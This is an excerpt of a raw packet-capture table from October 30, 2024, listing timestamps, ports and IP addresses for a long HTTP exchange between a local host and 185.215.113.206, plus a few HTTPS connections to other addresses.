Oct 30, 2024 04:34:46.337738991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337749004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337749004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337752104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337765932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337773085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337786913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337788105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337801933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337814093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337812901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337831020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337840080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337840080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337846994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337860107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337867022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337879896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337879896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337893009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337908030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337908983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337934971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337934971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338113070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338124990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338138103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338139057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338151932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338165998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338165998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338165998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338180065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338193893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338193893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338195086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338206053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338211060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338216066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338224888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338237047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338241100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338244915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338263988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338433981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338447094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338463068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338466883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338480949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338491917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338495016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338517904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338519096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338540077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338645935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338810921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338821888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338884115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338884115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338918924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338929892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338943005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338954926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338967085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338968039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338983059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.338994026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.338995934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339026928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339035988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339035988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339036942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339054108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339066982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339077950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339077950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339080095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339095116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339102983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339108944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339114904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339126110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339137077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339153051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339164019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339178085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339178085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339200020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339200974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339214087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339222908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339227915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339235067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339252949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339315891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339411974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339422941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339433908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339448929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339449883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339462996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.339472055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339489937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.339504004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.368505001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.368536949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.368551970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.368717909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.368936062 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.421147108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421185017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421206951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421227932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.421304941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421318054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421333075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421333075 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.421349049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421360970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.421365023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.421394110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.421410084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.445178986 CET	51098	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:46.445255995 CET	443	51098	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:46.445406914 CET	51098	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:46.445755005 CET	51098	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:46.445790052 CET	443	51098	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:46.468965054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.468980074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469094038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469106913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469221115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469274044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469285965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469300032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469311953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469322920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469331980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469341993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469356060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469367981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469368935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469384909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469397068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469399929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469414949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469429016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469594955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469624043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469733953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469746113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469760895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469774961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469774961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469789028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469801903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469815016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469815969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469826937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469852924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469880104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469892979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469903946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469904900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469921112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.469929934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469973087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.469973087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470058918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470071077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470081091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470093012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470103979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470117092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470128059 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470141888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470190048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470711946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470731020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470743895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470755100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470768929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470782042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470782995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470796108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470807076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470810890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470818996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470824003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470837116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470850945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470850945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470864058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470876932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470877886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470891953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.470904112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470937967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.470937967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471029997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471041918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471052885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471085072 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471085072 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471357107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471380949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471539021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471550941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471561909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471575022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471587896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471592903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471606016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471617937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471620083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471627951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471635103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471659899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471679926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471693039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471704960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471704960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471719027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471729994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471731901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471746922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471757889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471765995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471791029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471824884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471824884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471832037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471844912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471856117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471862078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471873045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471885920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.471898079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471935034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471935034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.471999884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472012997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472657919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472671032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472683907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472685099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.472733974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.472733974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.472873926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472886086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472897053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472909927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472920895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472934008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472945929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.472946882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472959042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472973108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472982883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.472985029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.472992897 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473006964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473020077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473031044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473036051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473042011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473051071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473062992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473064899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473078966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473088980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473100901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473102093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473115921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473126888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473155022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473167896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473181009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473186016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473198891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473211050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473783016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473798037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473810911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473810911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473861933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473861933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.473975897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473988056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.473998070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474009991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474020004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474031925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474041939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474132061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474145889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474155903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474157095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474170923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474181890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474195004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474203110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474216938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474220991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474227905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474235058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.474258900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.474569082 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.474610090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.476995945 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.476995945 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.477020025 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.477035046 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.494735956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.494752884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.494765997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.494817972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.494817972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.528248072 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.529201984 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.529201984 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.529217958 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.529232025 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.544455051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544470072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544481993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544543982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544555902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544567108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544579983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544578075 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.544593096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.544624090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.544624090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.544636965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.560239077 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.561145067 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.561145067 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.561175108 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.561188936 CET	443	51096	13.107.246.45	192.168.2.6
